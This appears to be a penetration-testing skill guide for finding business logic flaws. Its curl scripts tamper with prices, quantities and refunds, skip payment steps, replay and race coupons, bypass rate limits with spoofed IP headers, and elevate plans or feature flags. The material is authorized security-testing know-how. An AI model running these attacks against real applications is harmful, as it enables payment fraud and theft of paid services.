What this skill does
Detects business logic vulnerabilities by mapping application workflows, identifying state transitions, and testing each for skip/replay/manipulation attacks. Covers six categories: workflow step bypass, negative quantity and price manipulation, coupon and discount abuse, rate limit bypass via racing, feature flag abuse, and time-of-check-time-of-use (TOCTOU) race conditions. Uses manual testing with curl and Burp Suite — no specialized vulnerability scanner applies to this class.
When to use
- When testing any feature involving money, credits, discounts, or refunds
- When an application has a multi-step workflow (checkout, registration, password reset, subscription upgrade)
- When a request body contains a price, quantity, amount, or discount field
- When a coupon or promo code endpoint exists
- When a feature is gated behind a role, plan, or subscription level
- When testing actions that check a value and then act on it (balance checks, ownership checks, quota limits)
Prerequisites
- A valid test account with access to the feature being tested (use a free or test account)
- A proxy tool (Burp Suite or Caido) to intercept and modify requests
- Two accounts for race condition testing (or two browser sessions)
- For coupon testing: at least one valid coupon code (use a legitimately obtained code)
- Authorization under a valid bug bounty or pentest scope
Inputs
| Variable | Required | Description |
|---|---|---|
SECSKILL_TARGET |
Yes | Base URL of the target (e.g., https://app.example.com) |
SECSKILL_TOKEN |
Yes | Bearer token or session cookie for the test account |
SECSKILL_WORKFLOW_START |
Yes | First endpoint in the workflow (e.g., /checkout/start) |
SECSKILL_WORKFLOW_END |
Yes | Final endpoint in the workflow (e.g., /checkout/confirm) |
SECSKILL_COUPON_CODE |
Optional | A valid coupon code to test for replay/stacking abuse |
SECSKILL_ITEM_ID |
Optional | Product or item ID to use in cart/price manipulation tests |
SECSKILL_OUTPUT_DIR |
Optional | Directory to save results (default: ./output) |
Workflow
Step 1: Environment setup and workflow mapping
export TARGET="${SECSKILL_TARGET}"
export TOKEN="${SECSKILL_TOKEN}"
export FLOW_START="${SECSKILL_WORKFLOW_START}"
export FLOW_END="${SECSKILL_WORKFLOW_END}"
export COUPON="${SECSKILL_COUPON_CODE:-}"
export ITEM_ID="${SECSKILL_ITEM_ID:-}"
export OUTDIR="${SECSKILL_OUTPUT_DIR:-./output}"
mkdir -p "$OUTDIR"
echo "[*] Target : $TARGET"
echo "[*] Flow : $FLOW_START -> $FLOW_END"
# Map the full workflow by walking through it normally in the proxy
# Goal: identify every state transition, every endpoint, every parameter
cat <<'EOF'
WORKFLOW MAPPING CHECKLIST (do this in Burp before running automated tests):
[ ] Walk through the full happy path once, capturing all HTTP requests
[ ] Note every endpoint in order (Step 1 URL, Step 2 URL, ... Final URL)
[ ] Identify all state parameters (session tokens, cart tokens, payment tokens, order IDs)
[ ] Find any hidden fields in POST bodies (price, discount_rate, is_free, skip_payment)
[ ] Identify the "completion" endpoint (the one that delivers value: activates account, charges card, grants access)
[ ] Note any client-side state that is sent back to the server (do not trust client-supplied values)
EOF
# Probe the application for business-critical endpoints
echo "[*] Probing for business-critical endpoints..."
for path in /checkout /cart /payment /subscribe /upgrade /coupon /promo \
/refund /transfer /redeem /gift /credits /billing /plans; do
code=$(curl -sk -o /dev/null -w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"${TARGET}${path}")
[ "$code" != "404" ] && echo " [$code] $path"
done
Step 2: Workflow step bypass
echo "=== Step 2: Workflow Step Bypass ==="
# Normal flow: Step 1 (select) -> Step 2 (payment) -> Step 3 (confirm/activate)
# Attack: skip Step 2 (payment) and jump directly to Step 3
echo "[*] Testing direct access to workflow completion endpoint..."
# Test the completion/final endpoint with a fresh session (no prior steps)
RESPONSE=$(curl -sk -X POST "$TARGET$FLOW_END" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"skip_payment": true, "status": "paid", "confirmed": true}' \
-o "$OUTDIR/bypass_direct.json" -w "%{http_code}")
echo "Direct access to $FLOW_END: HTTP $RESPONSE"
[ "$RESPONSE" = "200" ] && echo "[!] POTENTIAL BYPASS — completion endpoint accessible without prior steps" && \
cat "$OUTDIR/bypass_direct.json" | python3 -m json.tool 2>/dev/null | head -20
# Test GET-based workflow skip (some confirm endpoints accept GET)
RESPONSE_GET=$(curl -sk "$TARGET$FLOW_END" \
-H "Authorization: Bearer $TOKEN" \
-o "$OUTDIR/bypass_get.json" -w "%{http_code}")
echo "GET $FLOW_END: HTTP $RESPONSE_GET"
# Test hidden parameter injection in intermediate steps
echo "[*] Testing hidden field manipulation in workflow steps..."
curl -sk -X POST "$TARGET$FLOW_START" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"plan": "enterprise", "price": 0, "is_free": true, "discount": 100, "promo": "ADMIN50"}' \
-o "$OUTDIR/hidden_params.json" -w "\nHTTP: %{http_code}\n" | tail -3
echo "[*] Check $OUTDIR/hidden_params.json for signs of accepted parameters"
Step 3: Negative quantity and price manipulation
echo "=== Step 3: Negative Quantity and Price Manipulation ==="
# Test negative quantity in cart (can result in credits or negative charges)
echo "[*] Testing negative quantity..."
for qty in -1 -100 0 0.001 999999 -999999; do
code=$(curl -sk -X POST "$TARGET/api/cart" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"item_id\": \"${ITEM_ID:-1}\", \"quantity\": ${qty}}" \
-o "$OUTDIR/qty_${qty//[-.]/_}.json" -w "%{http_code}")
echo " quantity=$qty -> HTTP $code"
[ "$code" = "200" ] && grep -E '"total"|"price"|"amount"|"balance"' \
"$OUTDIR/qty_${qty//[-.]/_}.json" 2>/dev/null | head -3
done
# Test price manipulation — change the price field in the POST body
echo "[*] Testing price field manipulation..."
for price in 0 -1 0.01 1 0.001 "0.00" "-100"; do
code=$(curl -sk -X POST "$TARGET/api/checkout" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"item_id\": \"${ITEM_ID:-1}\", \"price\": ${price}, \"quantity\": 1}" \
-o "$OUTDIR/price_${price//[-.]/_}.json" -w "%{http_code}")
echo " price=$price -> HTTP $code"
[ "$code" = "200" ] && grep -E '"charged"|"total"|"order_id"|"success"' \
"$OUTDIR/price_${price//[-.]/_}.json" 2>/dev/null | head -2
done
# Test refund amount manipulation (request more than purchased)
echo "[*] Testing refund amount manipulation..."
for refund_amount in 9999 99999 -1; do
code=$(curl -sk -X POST "$TARGET/api/refund" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"order_id\": \"${ITEM_ID:-1}\", \"amount\": ${refund_amount}}" \
-o "$OUTDIR/refund_${refund_amount}.json" -w "%{http_code}")
echo " refund amount=$refund_amount -> HTTP $code"
[ "$code" = "200" ] && echo " [!] POTENTIAL — refund accepted, check if amount > original"
done
# Test currency manipulation (USD EUR JPY BTC FAKE null)
echo "[*] Testing currency manipulation..."
for currency in USD EUR JPY BTC FAKE null; do
code=$(curl -sk -X POST "$TARGET/api/checkout" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -d "{\"price\": 100, \"currency\": \"${currency}\"}" \
-o /dev/null -w "%{http_code}")
echo " currency=$currency -> HTTP $code"
done
Step 4: Coupon and discount abuse
echo "=== Step 4: Coupon and Discount Abuse ==="
if [ -n "$COUPON" ]; then
# Test 1: Apply coupon multiple times in the same session
echo "[*] Testing coupon replay (same session, multiple applications)..."
for i in 1 2 3; do
code=$(curl -sk -X POST "$TARGET/api/coupon/apply" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\": \"${COUPON}\"}" \
-o "$OUTDIR/coupon_apply_${i}.json" -w "%{http_code}")
echo " Application #$i: HTTP $code"
python3 -c "import sys,json; d=json.load(sys.stdin); print(' discount:', d.get('discount') or d.get('amount') or d.get('total'))" \
< "$OUTDIR/coupon_apply_${i}.json" 2>/dev/null
done
# Test 2: Coupon stacking — apply two coupons simultaneously
echo "[*] Testing coupon stacking..."
curl -sk -X POST "$TARGET/api/coupon/apply" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"coupon_codes\": [\"${COUPON}\", \"${COUPON}\", \"SAVE10\", \"DISCOUNT20\"]}" \
-w "\nHTTP: %{http_code}\n" | tail -3
# Test 3: Race condition on coupon redemption (same coupon, two concurrent requests)
echo "[*] Testing coupon race condition (10 concurrent requests)..."
for i in $(seq 1 10); do
curl -sk -X POST "$TARGET/api/coupon/apply" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\": \"${COUPON}\"}" \
-o "$OUTDIR/coupon_race_${i}.json" -w "[$i: %{http_code}] " &
done
wait
echo ""
echo " Check if more than one request returned 200 with discount applied"
grep -l '"success":true\|"applied":true\|"discount"' "$OUTDIR"/coupon_race_*.json 2>/dev/null | wc -l
echo " coupon applications succeeded out of 10 concurrent attempts"
fi
# Test 4: Expired coupon — manipulate date or use a known expired format
echo "[*] Testing coupon code patterns (expired/admin codes)..."
for test_code in "EXPIRED2023" "ADMIN50" "DEBUG100" "TEST" "FREE" "INTERNAL" "STAFF"; do
code=$(curl -sk -X POST "$TARGET/api/coupon/apply" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"coupon_code\": \"${test_code}\"}" \
-o /dev/null -w "%{http_code}")
[ "$code" = "200" ] && echo " [!] Coupon accepted: $test_code -> HTTP $code" || \
echo " $test_code -> HTTP $code"
done
Step 5: Rate limit bypass
echo "=== Step 5: Rate Limit Bypass ==="
# Test 1: Parallel requests bypass (race before counter increments)
echo "[*] Testing rate limit bypass via parallel requests..."
RATE_LIMIT_ENDPOINT="${TARGET}/api/send-sms"
echo "[*] Sending 20 concurrent requests to $RATE_LIMIT_ENDPOINT"
for i in $(seq 1 20); do
code=$(curl -sk -X POST "$RATE_LIMIT_ENDPOINT" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"phone": "+1-555-0100"}' \
-w "%{http_code}" -o /dev/null) &
pids+=($!)
done
wait
echo "[*] All concurrent requests sent — check logs for success count"
# Test 2: Header-based rate limit bypass (X-Forwarded-For, X-Real-IP, X-Originating-IP, CF-Connecting-IP)
echo "[*] Testing rate limit bypass via IP spoofing headers..."
for hdr in "X-Forwarded-For: 1.2.3.4" "X-Real-IP: 5.6.7.8" "X-Originating-IP: 9.10.11.12" "CF-Connecting-IP: 13.14.15.16"; do
code=$(curl -sk -X POST "$TARGET/api/login" -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" -H "$hdr" \
-d '{"username":"test","password":"wrong"}' -w "%{http_code}" -o /dev/null)
echo " $hdr -> HTTP $code"
done
# Test 3: HTTP/2 multiplexing — last-byte synchronization
echo "[*] For Burp Suite: use Turbo Intruder with last-byte sync for precise race testing"
Reference: See REFERENCE.md for the Turbo Intruder Python script for last-byte synchronized HTTP/2 race condition testing.
Step 6: Feature flag and plan abuse
echo "=== Step 6: Feature Flag and Plan Abuse ==="
# Test upgrading plan via client-supplied field
echo "[*] Testing plan elevation via request manipulation..."
for plan_name in enterprise premium admin pro unlimited gold; do
code=$(curl -sk -X POST "$TARGET/api/user/plan" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"plan\": \"${plan_name}\", \"trial\": true, \"bypass_payment\": true}" \
-o "$OUTDIR/plan_${plan_name}.json" -w "%{http_code}")
echo " plan=$plan_name -> HTTP $code"
[ "$code" = "200" ] && grep -E '"plan"|"tier"|"features"' \
"$OUTDIR/plan_${plan_name}.json" 2>/dev/null | head -3
done
# Test feature flag manipulation in request body
echo "[*] Testing feature flag abuse in request body..."
curl -sk -X POST "$TARGET/api/feature" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"feature": "admin_panel", "enabled": true, "override": true, "debug": true}' \
-w "\nHTTP: %{http_code}\n" | tail -3
# Test accessing premium features directly with a free account
echo "[*] Testing direct access to premium feature endpoints..."
for feature_path in /api/export /api/bulk /api/advanced /api/admin \
/api/premium /api/reports/all /api/analytics; do
code=$(curl -sk -o "$OUTDIR/feature$(echo $feature_path | tr / _).json" \
-w "%{http_code}" \
-H "Authorization: Bearer $TOKEN" \
"${TARGET}${feature_path}")
[ "$code" != "404" ] && echo " [$code] $feature_path"
[ "$code" = "200" ] && echo " [!] POTENTIAL — premium feature accessible on free account"
done
Step 7: TOCTOU race condition testing
echo "=== Step 7: Time-of-Check-Time-of-Use (TOCTOU) ==="
echo "[*] Testing TOCTOU double-spend on credit/balance consumption..."
echo "[*] Testing checkout race condition (duplicate order)..."
Reference: See REFERENCE.md for Python threading scripts for TOCTOU double-spend and checkout race condition testing.
Step 8: Business impact documentation
Reference: See REFERENCE.md for the impact classification table and report format template for business logic bugs.
echo "=== Step 8: Business Impact Assessment ==="
echo "[*] Scan complete. Results saved in $OUTDIR/"
ls -lh "$OUTDIR/"*.json 2>/dev/null | head -20
Done when
- At least one business logic vulnerability is confirmed with a reproducible request sequence
- The vulnerability type is classified (workflow bypass, price manipulation, coupon abuse, TOCTOU, etc.)
- Business impact is quantified with a concrete dollar amount or service abuse scenario
- Prerequisites are minimized (preferably: free account, no user interaction)
- A complete reproduction sequence (curl commands or Burp request sequence) is captured for the report
Failure modes
| Symptom | Cause | Resolution |
|---|---|---|
| Price field change returns 400 | Server validates price from catalog, not request | Try changing currency or discount_rate instead; look for hidden fields in multi-step flow |
| Coupon replay returns "already used" | Server marks coupon after first use | Test race condition: 10 concurrent apply requests before marking completes |
| Workflow bypass returns 403 | Server checks session state for prior steps | Try replaying a legitimate step's state token (from Burp history) with a different session |
| Negative quantity returns 400 | Input validation on quantity field | Try float (0.001), string ("−1"), or JSON null; check if validation applies only to UI |
| Race condition requests all return 200 but balance decrements correctly | Atomic DB transaction in place | Note as "well-implemented" but check other endpoints with less critical operations |
| Feature flag endpoint returns 404 | Feature flags managed server-side only | Try modifying response from the features/config endpoint (intercept + modify in Burp) |
| All refund amounts rejected | Refunds validated against original order | Test partial refund above original: 101% of purchase amount |
Notes
- Business logic bugs require no special tools — a proxy and two accounts are sufficient for most tests.
- The highest-value business logic bugs involve financial impact: price manipulation, double-spend, and free premium access.
- TOCTOU bugs are best demonstrated with a Python threading script that starts all requests at a barrier — bash background jobs are too imprecise for sub-100ms race windows.
- Coupon race conditions often have a 5–50ms window. Use Burp Turbo Intruder with last-byte synchronization for the most reliable exploit.
- Document the "happy path" first before testing violations — you need to know what normal looks like to identify what is abnormal.
- Always quantify financial impact in the report: "attacker can obtain $X service for free" is more impactful than "price field is not validated."
- Workflow bypass bugs are often rated Critical because they directly undermine the payment mechanism that the business depends on for revenue.